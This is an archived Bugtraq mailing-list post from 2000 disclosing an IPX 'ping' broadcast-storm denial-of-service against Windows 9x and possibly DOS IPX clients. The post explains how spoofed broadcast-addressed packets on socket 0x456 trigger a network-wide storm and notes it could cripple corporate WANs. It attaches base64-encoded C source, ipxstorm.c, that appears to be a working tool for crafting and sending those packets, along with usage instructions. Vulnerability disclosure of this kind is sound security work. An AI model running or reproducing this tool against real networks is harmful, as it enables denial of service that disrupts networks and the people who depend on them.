[15169] in bugtraq
ipx storm
daemon@ATHENA.MIT.EDU (Jacek Lipkowski)
Fri Jun 2 16:46:49 2000
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="1171526726-152660876-959963413=:16250"
Message-Id: <Pine.LNX.4.10.10006021758390.16250-200000@rock.andra.com.pl>
Date: Fri, 2 Jun 2000 18:30:13 +0200
Reply-To: Jacek Lipkowski <sq5bpf@ROCK.ANDRA.COM.PL>
From: Jacek Lipkowski <sq5bpf@ROCK.ANDRA.COM.PL>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--1171526726-152660876-959963413=:16250
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hello,
The IPX protocol has samething called IPX ping. Sending a packet to
socket 0x456 to anything supporting ipx causes a response to be sent back.
If you send a packet with source and destination addresses set to the
ethernet broadcast address and source and destination socket set to 0x456
everything supporting ipx sends a reply to the broadcast address (and
after that they start talking to each other). The storm ends when all ipx
stacks die off (it can last a few minutes on a small network up to
probably an half hour on a large network). You can also set the source and
destination networks to have a broadcast storm between them (probably a
killer on large corporate WANs :) - but remember to set the destination
address to the router of the destination network.
This is really an old school DoS (kind of like sending udp packets with
the source=destination=ip broadcast address and setting the ports to echo
or chargen), only applied to ipx, so it should have been fixed by now.
I've attached some code i used to test this under linux (it can only spoof
802.2 and 802.3 packets, add other types if you wish). It's best to set
all addresses to broadcast and ipx networks to 0 (local ipx network) for
starters and fire off tcpdump to see the fun begin.
I don't know about the platforms affected - windows 9x seems to be
vulnerable, nt doesn't, probably dos clients running netx or vlm should be
affected as well (not tested). If you find another vulnerable platform
i would like to know.
Please use the attached program at your own risk, and don't hold me or my
employer (Andra Sp. z o.o.) liable to any damages.
Jacek Lipkowski
ps. I know nothing about ipx over ip in the new netware, so someone please
check if this can be used this way?
ps2. the program is badly written -- i'm aware of that :)
-----------------------------------------------------------------
Andra Network Integrator
ul. Wynalazek 6
02-677 Warsaw
Poland
mailto: office@andra.com.pl
--1171526726-152660876-959963413=:16250
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ipxstorm.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.10006021830130.16250@rock.andra.com.pl>
Content-Description:
Content-Disposition: attachment; filename="ipxstorm.c"
LyogaXB4c3Rvcm0uYyBjb3B5cmlnaHQgYnkgSmFjZWsgTGlwa293c2tpIDxz
cTVicGZAYW5kcmEuY29tLnBsPg0KICAgcmVsZWFzZWQgMDIuVkkuMjAwMA0K
DQogICBjb21waWxlcyB1bmRlciBsaW51eCAyLjIgd2l0aCBsaWJjNg0KIChw
cm9iYWJseSB0aGUgI2luY2x1ZGVzIHdpbGwgbmVlZCBjaGFuZ2luZyBmb3Ig
bGliYzUpDQogIA0KICAgVGhpcyBwcm9ncmFtIGRlbW9uc3RyYXRlcyBob3cg
YSBzcG9vZmVkICJpcHggcGluZyIgcGFja2V0IGNhbg0KICAgc3RhcnQgYSBi
cm9hZGNhc3Qgc3Rvcm0gb24gYSBuZXR3b3JrIHdpdGggbWFjaGluZXMgdGhh
dCByZXNwb25kIHRvIGl0Lg0KDQogICB1c2FnZToNCiAgIA0KICAgLi9pcHhz
dG9ybSBod3NhZGRyIGh3ZGFkZHIgaXB4c2FkZHIgaXB4c25ldCBpcHhkYWRk
ciBpcHhkbmV0IHBhY2tldF90eXBlDQoNCiAgIGh3c2FkZHIgIC0gZXRoZXJu
ZXQgc291cmNlIGFkZHJlc3MNCiAgIGh3ZGFkZHIgIC0gZXRoZXJuZXQgZGVz
dGluYXRpb24gYWRkcmVzcw0KICAgaXB4c2FkZHIgLSBpcHggc291cmNlIGFk
ZHJlc3MNCiAgIGlweGRhZGRyIC0gaXB4IGRlc3RpbmF0aW9uIGFkZHJlc3MN
CiAgIGlweHNuZXQgIC0gaXB4IHNvdXJjZSBuZXR3b3JrDQogICBpcHhkbmV0
ICAtIGlweCBkZXN0aW5hdGlvbiBuZXR3b3JrDQogICBwYWNrZXRfdHlwZSAt
IHRoZSBJUFggcGFja2V0IHR5cGUgLSBjdXJyZW50bHkgODAyLjIgYW5kIDgw
Mi4zIA0KICAgaXMgaW1wbGVtZW50ZWQgKGRvbid0IGhhdmUgdGhlIHRpbWUg
dG8gZG8gZXRoZXJuZXRfaWkgb3Igc25hcCkNCg0KICAgSW4gSVBYIGlmIG5l
dHdvcms9PTAgdGhlbiBpdCdzIHRoZSBsb2NhbCBuZXR3b3JrLCBzbyB5b3Un
cmUgcHJvYmFibHkgDQogICBpbnRlcmVzdGVkIGluOg0KLi9pcHhzdG9ybSBm
ZjpmZjpmZjpmZjpmZjpmZiBmZjpmZjpmZjpmZjpmZjpmZiBmZjpmZjpmZjpm
ZjpmZjpmZiAwIGZmOmZmOmZmOmZmOmZmOmZmIDAgODAyLjMNCg0KcmFudCAj
MTogdGhlIHNhbWUgdHlwZSBvZiB2dWxuZXJhYmlsaXRpZXMgaGF2ZSBiZWVu
IHByZXNlbnQgaW4gdWRwDQoobGlrZSB0aGUgdWRwIGVjaG8vY2hhcmdlbiBz
dG9ybXMpIC0gd2h5IGRpZG4ndCBzb21lb25lIGZpeCB0aGlzID8NCg0KcmFu
dCAjMjogd2h5IGRvIHN3aXRjaGVzIGxldCBwYWNrZXRzIHdpdGggc291cmNl
IGFkZHJlc3MgPT0gYnJvYWRjYXN0IG91dD8NCg0Kc3VnZ2VzdGlvbiAjMTog
c2V0IHRoZSBod3NhZGRyIGFuZCBpcHhzYWRkciB0byB5b3VyIG1hYyBhZGRy
ZXNzIGFuZCBydW4gDQp0Y3BkdW1wIGZvciBhIG5pY2Ugd2F5IHRvIGVudW1l
cmF0ZSBpcHggZGV2aWNlcyBvbiB5b3VyIG5ldHdvcmsNCg0Kc3VnZ2VzdGlv
biAjMjogY291bGQgc29tZW9uZSBhZGQgaXB4IHN1cHBvcnQgZm9yIGxpYm5l
dD8NCg0KaSBrbm93IHRoYXQgdGhpcyBjb2RlIGlzIHNsb3BweSA6KSANCg0K
dXNlIHRoaXMgYXQgeW91ciBvd24gcmlzay4uLg0KDQoqLw0KDQoNCiNpbmNs
dWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQoj
aW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+
DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNp
bmNsdWRlIDxzaWduYWwuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1
ZGUgPGFycGEvaW5ldC5oPg0KI2luY2x1ZGUgPGxpbnV4L3NvY2tldC5oPg0K
I2luY2x1ZGUgPG5ldGluZXQvaXAuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L3Rj
cC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaWZfZXRoZXIuaD4NCiNpbmNsdWRl
IDxsaW51eC9pZi5oPg0KI2luY2x1ZGU8bGludXgvc29ja2lvcy5oPg0KI2lu
Y2x1ZGU8c3RkbGliLmg+DQoNCmNoYXIgcGFjazgwMl8zW10gPQ0KICAiXHhm
Zlx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZm
XHgwMFx4NDhceGZmXHhmZiINCiAgIlx4MDBceDQ4XHgwMFx4MDRceDAwXHgw
MFx4MDBceDAwXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmXHgwNFx4NTYiDQog
ICJceDAwXHgwMFx4MDBceDAwXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmXHgw
NFx4NTZceDAwXHgwMFx4MDBceDAwIg0KICAiXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgw
MCINCiAgIlx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiDQogICJceDAwXHgwMFx4MDBc
eDAwXHgwMFx4MDAiOw0KDQpjaGFyIHBhY2s4MDJfMltdID0NCiAgIlx4ZmZc
eGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4
MDBceDMwXHhlMFx4ZTAiDQogICJceDAzXHhmZlx4ZmZceDAwXHgyZFx4MDBc
eDA0XHgwMFx4MDBceDAwXHgwMFx4ZmZceGZmXHhmZlx4ZmZceGZmIg0KICAi
XHhmZlx4MDRceDU2XHgwMFx4MDBceDAwXHgwMFx4ZmZceGZmXHhmZlx4ZmZc
eGZmXHhmZlx4MDRceDU2XHgwMCINCiAgIlx4MDBceDAwXHgwMFx4MDBceDAw
XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsNCg0KDQoN
CnBhcnNlX2V0aF9hZGRyIChjaGFyICpzdHJpbmdbXSwgdW5zaWduZWQgY2hh
ciAqZHVwYSkNCnsNCiAgY2hhciAqcHRyOw0KICBpbnQgaWkgPSAwOw0KICB1
bnNpZ25lZCBjaGFyIGFkWzZdOw0KICB1bnNpZ25lZCBsb25nIGRkOw0KDQog
IHB0ciA9IHN0cnRvayAoKGNoYXIgKikgc3RyaW5nLCAiOiIpOw0KICBhZFtp
aV0gPSBzdHJ0b2wgKHB0ciwgKGNoYXIgKiopIE5VTEwsIDE2KTsNCg0KICB3
aGlsZSAoKHB0ciA9IHN0cnRvayAoMCwgIjoiKSkgJiYgKHB0ciAhPSAwKSkN
CiAgICB7DQogICAgICBpaSsrOw0KICAgICAgZGQgPSAodW5zaWduZWQgY2hh
cikgc3RydG91bCAocHRyLCAoY2hhciAqKikgTlVMTCwgMTYpOw0KICAgICAg
YWRbaWldID0gZGQ7DQogICAgfQ0KICBtZW1jcHkgKGR1cGEsICZhZCwgNik7
DQp9DQoNCnBhcnNlX25ldF9hZGRyIChjaGFyICpzdHJpbmcsIHVuc2lnbmVk
IGNoYXIgKmR1cGEpDQp7DQogIHVuc2lnbmVkIGxvbmcgaWk7DQogIGlpID0g
aHRvbmwgKHN0cnRvdWwgKHN0cmluZywgKGNoYXIgKiopIE5VTEwsIDE2KSk7
DQogIG1lbWNweSAoZHVwYSwgJmlpLCA0KTsNCn0NCg0KDQpzZWVfYWRkciAo
Y2hhciAqZGRbXSkNCnsNCiAgdW5zaWduZWQgY2hhciBhZGRyWzZdOw0KICBt
ZW1jcHkgKCZhZGRyLCBkZCwgNik7DQogIHByaW50ZiAoIiUyLjJ4OiUyLjJ4
OiUyLjJ4OiUyLjJ4OiUyLjJ4OiUyLjJ4IiwgYWRkclswXSwgYWRkclsxXSwg
YWRkclsyXSwNCgkgIGFkZHJbM10sIGFkZHJbNF0sIGFkZHJbNV0pOw0KfQ0K
DQoNCnNlZV9uZXQgKHVuc2lnbmVkIGNoYXIgKmRkW10pDQp7DQogIHVuc2ln
bmVkIGNoYXIgdG5ldFs2XTsNCiAgbWVtY3B5ICgmdG5ldCwgZGQsIDQpOw0K
ICBwcmludGYgKCIlMi4yeCUyLjJ4JTIuMnglMi4yeCIsIHRuZXRbMF0sIHRu
ZXRbMV0sIHRuZXRbMl0sIHRuZXRbM10pOw0KfQ0KDQovKiByaXBwZWQgZnJv
bSBsaW5zbmlmZmVyLmMgKi8NCmludA0Kb3BlbmludGYgKGNoYXIgKmQpDQp7
DQogIGludCBmZDsNCiAgc3RydWN0IGlmcmVxIGlmcjsNCiAgaW50IHM7DQog
IGZkID0gc29ja2V0IChBRl9JTkVULCBTT0NLX1BBQ0tFVCwgaHRvbnMgKEVU
SF9QX0FMTCkpOw0KICBpZiAoZmQgPCAwKQ0KICAgIHsNCiAgICAgIHBlcnJv
ciAoImNhbnQgZ2V0IFNPQ0tfUEFDS0VUIHNvY2tldCIpOw0KICAgICAgZXhp
dCAoMCk7DQogICAgfQ0KICBzdHJjcHkgKGlmci5pZnJfbmFtZSwgZCk7DQog
IHMgPSBpb2N0bCAoZmQsIFNJT0NHSUZGTEFHUywgJmlmcik7DQogIGlmIChz
IDwgMCkNCiAgICB7DQogICAgICBjbG9zZSAoZmQpOw0KICAgICAgcGVycm9y
ICgiY2FudCBnZXQgZmxhZ3MiKTsNCiAgICAgIGV4aXQgKDApOw0KICAgIH0N
Ci8vICAgaWZyLmlmcl9mbGFncyB8PSBJRkZfUFJPTUlTQzsNCiAgcyA9IGlv
Y3RsIChmZCwgU0lPQ1NJRkZMQUdTLCAmaWZyKTsNCi8vICAgaWYocyA8IDAp
IHBlcnJvcigiY2FudCBzZXQgcHJvbWlzY3VvdXMgbW9kZSIpOw0KICByZXR1
cm4gZmQ7DQp9DQoNCg0KbWFpbiAoaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkN
CnsNCiAgaW50IHM7DQogIGludCB4Ow0KICB1bnNpZ25lZCBjaGFyIGJ1Zlsy
MDAwXTsNCiAgaW50IHo7DQogIHN0cnVjdCBzb2NrYWRkciBzYTsNCg0KICBj
aGFyIGh3c2FkZHJbNDBdOw0KICBjaGFyIGh3ZGFkZHJbNl07DQogIGNoYXIg
aXB4c2FkZHJbMTZdOw0KICBjaGFyIGlweGRhZGRyWzZdOw0KICBjaGFyIGlw
eHNuZXRbNF07DQogIGNoYXIgaXB4ZG5ldFs0XTsNCiAgaW50IG9rID0gMDsN
Cg0KICBpZiAoYXJnYyA8IDgpDQogICAgew0KICAgICAgcHJpbnRmDQoJKCJp
cHhzdG9ybSBod3NhZGRyIGh3ZGFkZHIgaXB4c2FkZHIgaXB4c25ldCBpcHhk
YWRkciBpcHhkbmV0IFs4MDIuM3w4MDIuMl1cbiIpOw0KICAgICAgZXhpdCAo
MSk7DQogICAgfQ0KDQogIHBhcnNlX2V0aF9hZGRyIChhcmd2WzFdLCAoY2hh
ciAqKSAmaHdzYWRkcik7DQogIHByaW50ZiAoImV0aGVyIHNvdXJjZSBhZGRy
ZXNzIDogIik7DQogIHNlZV9hZGRyICgoY2hhciAqKSAmaHdzYWRkcik7DQog
IHByaW50ZiAoIlxuIik7DQoNCg0KICBwYXJzZV9ldGhfYWRkciAoYXJndlsy
XSwgKGNoYXIgKikgJmh3ZGFkZHIpOw0KICBwcmludGYgKCJldGhlciBkZXN0
IGFkZHJlc3MgICA6ICIpOw0KICBzZWVfYWRkciAoKGNoYXIgKikgJmh3ZGFk
ZHIpOw0KICBwcmludGYgKCJcbiIpOw0KDQogIHBhcnNlX2V0aF9hZGRyIChh
cmd2WzNdLCAoY2hhciAqKSAmaXB4c2FkZHIpOw0KICBwYXJzZV9uZXRfYWRk
ciAoYXJndls0XSwgKGNoYXIgKikgJmlweHNuZXQpOw0KICBwcmludGYgKCJp
cHggc291cmNlIGFkZHJlc3MgICA6ICIpOw0KICBzZWVfYWRkciAoKGNoYXIg
KikgJmlweHNhZGRyKTsNCiAgcHJpbnRmICgiIHwgIik7DQogIHNlZV9uZXQg
KChjaGFyICopICZpcHhzbmV0KTsNCiAgcHJpbnRmICgiXG4iKTsNCg0KDQog
IHBhcnNlX2V0aF9hZGRyIChhcmd2WzVdLCAoY2hhciAqKSAmaXB4ZGFkZHIp
Ow0KICBwYXJzZV9uZXRfYWRkciAoYXJndls2XSwgKGNoYXIgKikgJmlweGRu
ZXQpOw0KICBwcmludGYgKCJpcHggZGVzdCBhZGRyZXNzICAgICA6ICIpOw0K
ICBzZWVfYWRkciAoKGNoYXIgKikgJmlweGRhZGRyKTsNCiAgcHJpbnRmICgi
IHwgIik7DQogIHNlZV9uZXQgKChjaGFyICopICZpcHhkbmV0KTsNCiAgcHJp
bnRmICgiXG4iKTsNCg0KICBzID0gb3BlbmludGYgKCJldGgwIik7DQogIG1l
bXNldCAoJnNhLCAwLCBzaXplb2YgKHNhKSk7DQogIHN0cm5jcHkgKHNhLnNh
X2RhdGEsICJldGgwIiwgc2l6ZW9mIChzYS5zYV9kYXRhKSk7DQoNCiAgaWYg
KHN0cmNtcCAoYXJndls3XSwgIjgwMi4zIikgPT0gMCkNCiAgICB7DQogICAg
ICBvayA9IDE7DQogICAgICBtZW1jcHkgKCZwYWNrODAyXzMsICZod2RhZGRy
LCA2KTsNCiAgICAgIG1lbWNweSAoKGNoYXIgKikgJnBhY2s4MDJfMyArIDYs
ICZod3NhZGRyLCA2KTsNCiAgICAgIG1lbWNweSAoKGNoYXIgKikgJnBhY2s4
MDJfMyArIDB4MTgsICZpcHhkYWRkciwgNik7DQogICAgICBtZW1jcHkgKChj
aGFyICopICZwYWNrODAyXzMgKyAweDI0LCAmaXB4c2FkZHIsIDYpOw0KICAg
ICAgbWVtY3B5ICgoY2hhciAqKSAmcGFjazgwMl8zICsgMHgxNCwgJmlweGRu
ZXQsIDQpOw0KICAgICAgbWVtY3B5ICgoY2hhciAqKSAmcGFjazgwMl8zICsg
MHgyMCwgJmlweHNuZXQsIDQpOw0KICAgICAgeiA9IHNlbmR0byAocywgJnBh
Y2s4MDJfMywgc2l6ZW9mIChwYWNrODAyXzMpLCAwLCAmc2EsIHNpemVvZiAo
c2EpKTsNCiAgICB9DQoNCiAgaWYgKHN0cmNtcCAoYXJndls3XSwgIjgwMi4y
IikgPT0gMCkNCiAgICB7DQogICAgICBvayA9IDE7DQogICAgICBtZW1jcHkg
KCZwYWNrODAyXzIsICZod2RhZGRyLCA2KTsNCiAgICAgIG1lbWNweSAoKGNo
YXIgKikgJnBhY2s4MDJfMiArIDYsICZod3NhZGRyLCA2KTsNCiAgICAgIG1l
bWNweSAoKGNoYXIgKikgJnBhY2s4MDJfMiArIDB4MWIsICZpcHhkYWRkciwg
Nik7DQogICAgICBtZW1jcHkgKChjaGFyICopICZwYWNrODAyXzIgKyAweDI3
LCAmaXB4c2FkZHIsIDYpOw0KICAgICAgbWVtY3B5ICgoY2hhciAqKSAmcGFj
azgwMl8yICsgMHgxNywgJmlweGRuZXQsIDQpOw0KICAgICAgbWVtY3B5ICgo
Y2hhciAqKSAmcGFjazgwMl8yICsgMHgyMywgJmlweHNuZXQsIDQpOw0KICAg
ICAgeiA9IHNlbmR0byAocywgJnBhY2s4MDJfMiwgc2l6ZW9mIChwYWNrODAy
XzIpLCAwLCAmc2EsIHNpemVvZiAoc2EpKTsNCiAgICB9DQogIGlmICghb2sp
DQogICAgcHJpbnRmICgidW5rbm93biBpcHggcGFja2V0IHR5cGUgKGhpbnQ6
IGltcGxlbWVudCBpdClcbiIpOw0KICBjbG9zZSAocyk7DQogIGV4aXQgKDAp
Ow0KDQp9DQo=
--1171526726-152660876-959963413=:16250--
